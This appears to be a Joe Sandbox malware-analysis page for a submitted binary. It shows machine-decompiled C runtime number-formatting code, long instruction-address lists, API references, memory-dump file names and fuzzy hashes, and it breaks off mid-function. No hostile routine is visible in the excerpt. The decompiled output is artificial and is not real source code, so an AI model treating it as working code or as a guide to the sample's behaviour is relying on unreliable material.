													_t502 =  *(_t674 - 0x4d0);
												}
												goto L225;
											}
											L216:
											__eflags =  *(_t674 - 0x45c) - 7;
											if( *(_t674 - 0x45c) == 7) {
												goto L218;
											}
											L217:
											 *(_t674 - 0x4f8) = 0;
											goto L219;
										}
									}
									L184:
									__eflags =  *(_t674 - 0x24);
									if( *(_t674 - 0x24) == 0) {
										L186:
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
										_t613 =  *(_t674 - 0x24) + 1;
										__eflags = _t613;
										 *(_t674 - 0x24) = _t613;
										goto L187;
									}
									L185:
									__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
										goto L187;
									}
									goto L186;
								}
								L180:
								asm("cdq");
								_t632 =  *(_t674 - 0x4a8);
								 *(_t674 - 0x494) = E00430A00(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
								asm("cdq");
								 *(_t674 - 0x4a8) = E00430A80( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
								 *(_t674 - 0x4a4) = _t632;
								__eflags =  *(_t674 - 0x494) - 0x39;
								if( *(_t674 - 0x494) > 0x39) {
									_t636 =  *(_t674 - 0x494) +  *((intOrPtr*)(_t674 - 0x460));
									__eflags = _t636;
									 *(_t674 - 0x494) = _t636;
								}
								 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *(_t674 - 0x494);
								 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								goto L179;
							}
						}
						L165:
						__eflags =  *(_t674 - 0x4a0);
						if( *(_t674 - 0x4a0) >= 0) {
							goto L167;
						}
						goto L166;
						L167:
						 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
						 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
						goto L168;
					}
				}
			}

0x0043c594
0x0043c594
0x0043c594
0x0043c594
0x0043c594
0x0043c594
0x0043c594
0x0043c5a4
0x0043c5a6
0x0043c5a9
0x0043c5a9
0x0043c5af
0x0043c5af
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c672
0x0043c677
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c657
0x0043c65c
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c631
0x0043c636
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c615
0x0043c61a
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e8
0x0043c5ed
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5c0
0x0043c5c5
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x0043c690
0x0043c690
0x0043c697
0x00000000
0x00000000
0x0043c699
0x0043c699
0x0043c6a4
0x0043c6b2
0x0043c6b7
0x0043c6bd
0x0043c6cb
0x0043c6e8
0x0043c6eb
0x0043c6f0
0x0043c6f5
0x0043c6fb
0x0043c709
0x0043c709
0x0043c712
0x0043c712
0x0043c6fb
0x0043c718
0x0043c71c
0x0043c72d
0x0043c730
0x0043c737
0x0043c739
0x0043c739
0x0043c71e
0x0043c71e
0x0043c71e
0x0043c746
0x0043c74c
0x0043c74e
0x0043c74e
0x0043c75b
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x0043c76e
0x0043c774
0x0043c77a
0x0043c7f7
0x0043c800
0x0043c809
0x0043c80f
0x0043c815
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x0043c84a
0x0043c84d
0x0043c850
0x0043c855
0x0043c85a
0x0043c871
0x0043c874
0x0043c88b
0x0043c88e
0x0043c895
0x0043c899
0x0043c899
0x0043c876
0x0043c87b
0x0043c87f
0x0043c87f
0x0043c85c
0x0043c861
0x0043c865
0x0043c865
0x0043c85a
0x0043c8a9
0x0043c8b2
0x0043c8b5
0x0043c8cb
0x0043c8d0
0x0043c8d0
0x0043c8e6
0x0043c8eb
0x0043c8f1
0x0043c8f4
0x0043c8f9
0x0043c8fc
0x0043c912
0x0043c917
0x0043c917
0x0043c8fc
0x0043c91a
0x0043c91e
0x0043c9d8
0x0043c9eb
0x0043c9f0
0x00000000
0x0043c924
0x0043c924
0x0043c924
0x0043c928
0x00000000
0x00000000
0x0043c92e
0x0043c931
0x0043c93a
0x0043c940
0x0043c940
0x0043c94f
0x0043c955
0x0043c957
0x00000000
0x00000000
0x0043c959
0x0043c95c
0x0043c981
0x0043c986
0x0043c989
0x0043c98f
0x0043c996
0x0043c9a4
0x0043c9b7
0x0043c9bc
0x0043c9cb
0x00000000
0x0043c9cb
0x0043c998
0x0043c998
0x00000000
0x0043c998
0x0043c9d6
0x0043c9f3
0x0043c9f3
0x0043c9fa
0x0043c9ff
0x0043ca02
0x0043ca18
0x0043ca1d
0x0043ca1d
0x0043ca02
0x0043c9fa
0x0043ca20
0x0043ca20
0x0043ca24
0x0043ca2c
0x0043ca31
0x0043ca34
0x0043ca34
0x0043ca3b
0x0043ca3b
0x0043bbbb
0x0043bbc2
0x0043bbcf
0x0043bbd4
0x00000000
0x0043bbe7
0x0043bbf1
0x0043bc18
0x0043bbff
0x0043bc10
0x0043bc10
0x0043bbf1
0x0043bc22
0x0043bc28
0x0043bc34
0x0043bc37
0x0043bc45
0x0043bc48
0x0043bc55
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd0d
0x00000000
0x00000000
0x0043bd13
0x0043bd19
0x00000000
0x0043bd20
0x0043bd20
0x0043bd3a
0x0043bd3f
0x00000000
0x00000000
0x0043bd47
0x0043bd47
0x0043bd4e
0x0043bd51
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd5d
0x0043bd60
0x0043bd67
0x0043bd6e
0x00000000
0x00000000
0x0043bd7a
0x0043bd7a
0x0043bd81
0x0043bd8d
0x0043bd90
0x0043bd96
0x0043bd9d
0x00000000
0x00000000
0x0043bd9f
0x0043bda5
0x0043bda5
0x0043bdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf0
0x0043bdf0
0x0043bdf7
0x0043bdfa
0x0043be24
0x0043be27
0x0043be27
0x0043be31
0x0043be31
0x0043be35
0x0043bdfc
0x0043bdfc
0x0043be08
0x0043be0b
0x0043be0f
0x0043be11
0x0043be14
0x0043be14
0x0043be17
0x0043be1a
0x0043be1d
0x0043be1f
0x0043be1f
0x0043be22
0x0043be38
0x00000000
0x00000000
0x0043be3d
0x0043be3d
0x00000000
0x00000000
0x0043be49
0x0043be49
0x0043be50
0x0043be53
0x0043be73
0x0043be76
0x0043be76
0x0043be80
0x0043be80
0x0043be84
0x0043be55
0x0043be55
0x0043be61
0x0043be64
0x0043be68
0x0043be6a
0x0043be6a
0x0043be71
0x00000000
0x00000000
0x0043be8c
0x0043be8c
0x0043be93
0x0043be9f
0x0043bea2
0x0043bea8
0x0043beaf
0x0043bfc2
0x00000000
0x0043bfc2
0x0043beb5
0x0043bebb
0x0043bebb
0x0043bec2
0x00000000
0x0043bef9
0x0043bef9
0x0043befc
0x0043beff
0x0043bf02
0x0043bf29
0x0043bf29
0x0043bf2c
0x0043bf2f
0x0043bf32
0x0043bf56
0x0043bf56
0x0043bf59
0x0043bf5c
0x0043bf5f
0x0043bf98
0x0043bfa9
0x00000000
0x0043bfa9
0x0043bf61
0x0043bf61
0x0043bf64
0x0043bf67
0x0043bf6a
0x00000000
0x00000000
0x0043bf6c
0x0043bf6c
0x0043bf6f
0x0043bf72
0x0043bf75
0x00000000
0x00000000
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7d
0x0043bf80
0x00000000
0x00000000
0x0043bf82
0x0043bf82
0x0043bf85
0x0043bf88
0x0043bf8b
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf90
0x0043bf93
0x0043bf96
0x0043bf9a
0x00000000
0x0043bf9a
0x00000000
0x0043bf96
0x0043bf34
0x0043bf34
0x0043bf37
0x0043bf3b
0x0043bf3e
0x00000000
0x0043bf40
0x0043bf43
0x0043bf46
0x0043bf4c
0x0043bf51
0x00000000
0x0043bf51
0x0043bf3e
0x0043bf04
0x0043bf04
0x0043bf07
0x0043bf0b
0x0043bf0e
0x00000000
0x0043bf10
0x0043bf13
0x0043bf16
0x0043bf1c
0x0043bf21
0x00000000
0x0043bf21
0x00000000
0x0043bfab
0x0043bfab
0x0043bfae
0x0043bfb1
0x00000000
0x00000000
0x0043bec9
0x0043bec9
0x0043becc
0x0043becf
0x0043bed2
0x0043beeb
0x0043beee
0x0043beee
0x0043bef1
0x0043bed4
0x0043bed4
0x0043bed7
0x0043beda
0x0043bee0
0x0043bee6
0x0043bee6
0x00000000
0x00000000
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043bfb9
0x0043bfbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfc7
0x0043bfc7
0x0043bfce
0x0043bfd4
0x0043bfda
0x0043bfdd
0x0043bfe3
0x0043bfea
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c007
0x0043c00d
0x0043c00f
0x0043c012
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c14d
0x0043c152
0x0043c154
0x0043c157
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x00000000
0x00000000
0x0043c0b4
0x0043c0b4
0x0043c0c0
0x0043c0c6
0x0043c0cd
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e4
0x0043c0f0
0x0043c145
0x00000000
0x0043c145
0x0043c0cf
0x0043c0cf
0x0043c0d5
0x0043c0d9
0x0043c0f8
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x00000000
0x0043c0fe
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b2
0x0043c3b6
0x0043c3c1
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c416
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c493
0x0043c498
0x0043c49a
0x0043c49e
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c49e
0x0043c4c1
0x0043c4c8
0x0043c4cb
0x0043c4d0
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c4fe
0x0043c501
0x0043c506
0x0043c50b
0x0043c50e
0x0043c511
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c840
0x0043c3c7
0x0043c3c7
0x0043c3ce
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c035
0x0043c038
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c07c
0x0043c084
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x0043c5b2
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c672
0x0043c677
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c657
0x0043c65c
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c631
0x0043c636
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c615
0x0043c61a
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e8
0x0043c5ed
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5c0
0x0043c5c5
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c29c
0x0043c2a1
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043c2a9
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2cf
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f3
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c2f9
0x0043c300
0x0043c348
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x00000000
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c196
0x0043c199
0x0043c221
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c255
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c262
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c277
0x0043c27d
0x0043c27d
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1cb
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1dc
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1f3
0x0043c1fb
0x0043c1fd
0x0043c1ff
0x0043c205
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1bf
0x0043c1c2
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x00000000
0x0043c53d
0x0043c53d
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c672
0x0043c677
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c657
0x0043c65c
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c631
0x0043c636
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c615
0x0043c61a
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e8
0x0043c5ed
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5c0
0x0043c5c5
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c672
0x0043c677
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c657
0x0043c65c
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c631
0x0043c636
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c615
0x0043c61a
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e8
0x0043c5ed
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5c0
0x0043c5c5
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde2
0x0043bde5
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x0043cb04
0x0043cb11
0x0043cb11
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca5e
0x0043ca68
0x0043ca68
0x0043ca6e
0x0043ca74
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca98
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043ca9e
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043ca49
0x0043ca49
0x0043ca50
0x00000000
0x00000000
0x0043ca52
0x0043ca52
0x00000000
0x0043ca52
0x0043c840
0x0043c817
0x0043c817
0x0043c81b
0x0043c828
0x0043c82e
0x0043c834
0x0043c83a
0x0043c83a
0x0043c83d
0x00000000
0x0043c83d
0x0043c81d
0x0043c823
0x0043c826
0x00000000
0x00000000
0x00000000
0x0043c826
0x0043c77c
0x0043c77f
0x0043c789
0x0043c798
0x0043c7a1
0x0043c7b7
0x0043c7bd
0x0043c7c3
0x0043c7ca
0x0043c7d2
0x0043c7d2
0x0043c7d8
0x0043c7d8
0x0043c7e7
0x0043c7ef
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x00000000
0x0043c76c
0x0043c75e
0x0043c69b
0x0043c69b
0x0043c6a2
0x00000000
0x00000000
0x00000000
0x0043c6d0
0x0043c6d6
0x0043c6e2
0x00000000
0x0043c6e2
0x0043c5b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C5C0
__aullrem.LIBCMT ref: 0043C790
__aulldiv.LIBCMT ref: 0043C7B2

Strings

9, xrefs: 0043C7C3

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 2528f698d6291c258dec903c324bb33ce4f1bacfc71c60f2c506b804ba73ebd1
Instruction ID: fa258f07738bdd92b98626696662e2e7c77942d7ec4f954e9b1965ec74d2b850
Opcode Fuzzy Hash: 2528f698d6291c258dec903c324bb33ce4f1bacfc71c60f2c506b804ba73ebd1
Instruction Fuzzy Hash: 444105B1A4062A9FDB24CF48CD81BAEB7B5FF89314F10519AD149BB241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043525C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043525C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E004285E0(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E004285E0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E004285E0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E004285E0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428600(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428600(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
